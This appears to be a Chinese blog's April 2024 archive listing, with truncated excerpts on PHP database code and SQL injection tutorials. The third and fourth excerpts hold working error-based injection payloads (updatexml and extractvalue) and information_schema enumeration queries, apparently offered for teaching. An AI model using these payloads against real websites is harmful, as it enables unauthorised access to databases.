04 2024 档案
摘要:<?php namespace app\controller; use app\BaseController; use think\facade\Db; class Index extends BaseController { public function index13(){ #$query=D
阅读全文
摘要:<?php $dsn = "mysql:dbname=phpblog;host=127.0.0.1"; # $PDO为 pdo基类的实例 $pdo = new PDO($dsn,'root','root'); #1.如果不根据用户传过来的值进行操作,可以直接query sql $sql = "sel
阅读全文
摘要:1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)# 1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) # SQL注入实战之报错注入篇(u
阅读全文
摘要:select group_concat(table_name) from information_schema.tables where table_schema=database(); ## 查看表名 ## student, user, passwd select group_concat(col
阅读全文